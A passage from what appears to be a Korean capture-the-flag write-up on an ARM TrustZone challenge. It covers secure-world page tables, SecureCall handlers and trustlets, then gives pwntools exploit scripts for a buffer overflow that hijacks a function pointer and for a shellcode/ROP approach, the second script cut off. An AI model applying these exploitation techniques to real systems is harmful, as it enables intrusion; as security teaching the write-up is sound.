&lt;li&gt;AP[2:1] = 0b10; Read-only, only at PL1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b10; Outer Shareable&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0x800n000&lt;/code&gt; &lt;code&gt;((0x40&amp;lt;&amp;lt;21)+(0x0n&amp;lt;&amp;lt;12))&lt;/code&gt; (0x0 &amp;lt;= n &amp;lt; 0x3)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0xE40n000&lt;/code&gt; (0x0&amp;lt;= n &amp;lt; 0x3)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x003: 0x2000000E40360F ~ 0x087: 0x2000000E48760F
&lt;ul&gt;
&lt;li&gt;AttrIndx[2:0] = 0b011
&lt;ul&gt;
&lt;li&gt;Use MAIR0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AP[2:1] = 0b00; Read/write, only at PL1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;PXN = 1&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b10; Outer Shareable&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0x80nn000&lt;/code&gt; &lt;code&gt;((0x40&amp;lt;&amp;lt;21)+(0xnn&amp;lt;&amp;lt;12))&lt;/code&gt; (0x03 &amp;lt;= nn &amp;lt; 0x88)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0xE4nn000&lt;/code&gt; (0x03&amp;lt;= n &amp;lt;= 0x88)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x088: 0xE48860F ~ 0x1FF: 0xE5FF60F
&lt;ul&gt;
&lt;li&gt;AttrIndx[2:0] = 0b011
&lt;ul&gt;
&lt;li&gt;Use MAIR0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AP[2:1] = 0b00; Read/write, only at PL1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b10; Outer Shareable&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0x8nnn000&lt;/code&gt; &lt;code&gt;((0x40&amp;lt;&amp;lt;21)+(0xnnn&amp;lt;&amp;lt;12))&lt;/code&gt; (0x088 &amp;lt;= nnn &amp;lt; 0x200)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0xEnnn000&lt;/code&gt; (0x488&amp;lt;= nnn &amp;lt; 0x600)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x41: 0…&lt;/li&gt;
&lt;li&gt;0x7F: 0xEC4003 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x00: 0x2000000008768F ~ 0x10: 0x2000000009768F
&lt;ul&gt;
&lt;li&gt;AttrIndx[2:0] = 0b011
&lt;ul&gt;
&lt;li&gt;Use MAIR0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AP[2:1] = 0b10; Read-only, only at PL1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;PXN = 1&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b10; Outer Shareable&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0xFEnn000&lt;/code&gt; &lt;code&gt;((0x7F&amp;lt;&amp;lt;21)+(0xnn&amp;lt;&amp;lt;12))&lt;/code&gt; (0x00 &amp;lt;= nn &amp;lt; 0x11)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0xnnn00&lt;/code&gt; (0x870&amp;lt;= nnn &amp;lt; 0x980)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x11: 0…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x80: 0…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&#34;레지스터-설정-1&#34;&gt;레지스터 설정&lt;/h5&gt;
&lt;p&gt;별로 중요하지는 않지만 설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PRRR&lt;/strong&gt;: 0xff440400; Not used because of TTBCR.EAE. Instead use MAIR0.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DACR&lt;/strong&gt;: 0x55555555; D0…D15=0b01&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SCTLR&lt;/strong&gt;: I|=1, ITD|=1, C|=1, M|=1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CPACR&lt;/strong&gt;: ASEDIS|=0, CP11|=0b11, CP10|=0b11&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&#34;exception-handler-설정-3&#34;&gt;Exception Handler 설정&lt;/h5&gt;
&lt;p&gt;AArch32 의 Exception Handler 는 AArch64 와는 다르게 각 핸들러당 하나의 &lt;code&gt;b &amp;lt;func&amp;gt;&lt;/code&gt; 로 이루어져 있다.&lt;br&gt;
그리고 그 핸들러 중에서 Supervisor Exception Handler 는 SEL0 에서 svc 를 호출할 때 호출되며 Data Abort Exception Handler 는 적절하지 않은 범위에 접근할 때 호출된다. 또 중요한 Handler 는 SecureCall 을 처리하는 핸들러이다.&lt;/p&gt;
&lt;p&gt;Supervisor Exception Handler 의 기능은 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;svc #0&lt;/code&gt;: Return to normal world&lt;/li&gt;
&lt;li&gt;&lt;code&gt;svc #1&lt;/code&gt;: IDK…&lt;/li&gt;
&lt;li&gt;&lt;code&gt;svc #2&lt;/code&gt;: Allocate empty page&lt;/li&gt;
&lt;li&gt;&lt;code&gt;svc #3&lt;/code&gt;: Free using page&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SecureCall 의 기능은 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SECURE_CALL_NUM = 0x83000003&lt;/code&gt;: Register WSM&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SECURE_CALL_NUM = 0x83000004&lt;/code&gt;: Unregister WSM&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SECURE_CALL_NUM = 0x83000005&lt;/code&gt;: Init TrustLet&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SECURE_CALL_NUM = 0x83000006&lt;/code&gt;: TCI Call&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;securecall&#34;&gt;SecureCall&lt;/h4&gt;
&lt;p&gt;하나씩 제대로 살펴보면 다음과 같다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SECURE_CALL_NUM = 0x83000003&lt;/code&gt;: Register WSM
&lt;ul&gt;
&lt;li&gt;0x2000000 에서 0x2400000 까지의 SEL:VA 중에 비어있는 SEL:VA 와 주어진 PA 를 매핑시킨다.&lt;/li&gt;
&lt;li&gt;주어진 PA 는 NSEL:VA 와 매칭되어야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SECURE_CALL_NUM = 0x83000004&lt;/code&gt;: Unregister WSM
&lt;ul&gt;
&lt;li&gt;주어진 PA 에 맞는 VA 를 할당 해제한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SECURE_CALL_NUM = 0x83000005&lt;/code&gt;: Init TrustLet
&lt;ul&gt;
&lt;li&gt;주어진 WSM 에 존재하는 TrustLet 을 VA &lt;code&gt;0x1000 (code)&lt;/code&gt;, &lt;code&gt;0x2000 (data)&lt;/code&gt;, &lt;code&gt;0x100000 (data)&lt;/code&gt;, &lt;code&gt;0xFF8000 (?)&lt;/code&gt; 에 로드한다.
&lt;ul&gt;
&lt;li&gt;va = 0x1000, size = 0x1000, prot = 0b1010; NS=0, PXN=1, XN=0, UnprivilegedAccess=1, RO=0&lt;/li&gt;
&lt;li&gt;va = 0x2000, size = 0x1000, prot = 0b1110; NS=0, PXN=1, XN=1, UnprivilegedAccess=1, RO=0&lt;/li&gt;
&lt;li&gt;va = 0x100000, size = 0x82000, prot = 0b1110; NS=0, PXN=1, XN=1, UnprivilegedAccess=1, RO=0&lt;/li&gt;
&lt;li&gt;va = 0xFF8000, size = 0x8000, prot = 0b1110; NS=0, PXN=1, XN=1, UnprivilegedAccess=1, RO=0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이 때 사용하는 모든 Page 정보와 Code 등은 전부 NS 에서 WSM 를 통해 전달하며 S.EL1 에서는 그 trustlet 의 무결성을 전달한다.&lt;/li&gt;
&lt;li&gt;그리고 이 때 trustlet 의 entrypoint 도 설정한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SECURE_CALL_NUM = 0x83000006&lt;/code&gt;: TCI Call
&lt;ul&gt;
&lt;li&gt;로드한 trustlet 의 함수를 호출한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;trustlet&#34;&gt;Trustlet&lt;/h4&gt;
&lt;p&gt;Trustlet 의 메인 로직은 &lt;code&gt;SEL0_VA:0x126A&lt;/code&gt; 에 존재한다. 여기서는 TCI struct 의 cmd 에 맞는 동작을 수행한다.&lt;br&gt;
여기서 수행하는 동작은 load_key 와 save_key 가 있다.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;nsel0&#34;&gt;NS.EL0&lt;/h3&gt;
&lt;h4 id=&#34;익스-방법-1&#34;&gt;익스 방법 1&lt;/h4&gt;
&lt;h5 id=&#34;설명&#34;&gt;설명&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; 함수에서 &lt;code&gt;load_trustlet&lt;/code&gt; 함수를 통해 TrustedApplication 과 소통을 할 수 있게 초기화한다. 그리고 &lt;code&gt;cmdtb&lt;/code&gt; 라는 함수 포인터를 초기화한다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run&lt;/code&gt; 함수를 통해 실질적인 동작을 수행하는데 이 함수에서는 &lt;code&gt;scanf&lt;/code&gt; 를 통해 유저에게 입력을 받는다. &lt;code&gt;scanf&lt;/code&gt; 는 &lt;code&gt;gets(input)&lt;/code&gt; 를 호출한다. 이때 &lt;code&gt;input&lt;/code&gt; 다음에 &lt;code&gt;cmdtb&lt;/code&gt; 가 존재하므로 BoF 를 통해 &lt;code&gt;cmdtb&lt;/code&gt; 를 변조할 수 있다.&lt;/p&gt;
&lt;h5 id=&#34;플래그-얻기&#34;&gt;플래그 얻기&lt;/h5&gt;
&lt;p&gt;NS.EL0 에는 &lt;code&gt;print_flag&lt;/code&gt; 라는 함수가 존재한다. &lt;code&gt;cmdtb&lt;/code&gt; 를 변조하여 이 함수를 호출하면 된다.&lt;/p&gt;
&lt;h5 id=&#34;exploitpy&#34;&gt;exploit.py&lt;/h5&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# context.log_level = &amp;#34;debug&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;load_key&lt;/span&gt;(idx: int):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;save_key&lt;/span&gt;(idx: int, key: bytes):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;key: &amp;#34;&lt;/span&gt;, key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; remote(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;6666&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;elf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./el0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;print_flag&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;print_flag&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Flag (EL0): &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvline()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;FLAG : &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;FLAG&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;익스-방법-2&#34;&gt;익스 방법 2&lt;/h4&gt;
&lt;h5 id=&#34;설명-1&#34;&gt;설명&lt;/h5&gt;
&lt;p&gt;mprotect 를 통해 R-X 영역을 만들 수 있으므로 쉘코드를 실행할 수 있다. 이를 이용하여 처음에 할당된 BUF 영역에 쉘 코드를 쓰고 R-X 영역으로 만든 뒤에 임의 코드를 실행하여 플래그를 얻을 수 있다.&lt;/p&gt;
&lt;h5 id=&#34;exploitpy-1&#34;&gt;exploit.py&lt;/h5&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# context.log_level = &amp;#34;debug&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endian &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DUMMY_VALUE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xDEAD_BEEF_CAFE_BEBE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_FFA0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_D000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_WSM &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_00FC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDR_X19_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0294&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;make_shellcode&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; asm(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;load_key&lt;/span&gt;(idx: int):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;save_key&lt;/span&gt;(idx: int, key: bytes):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)
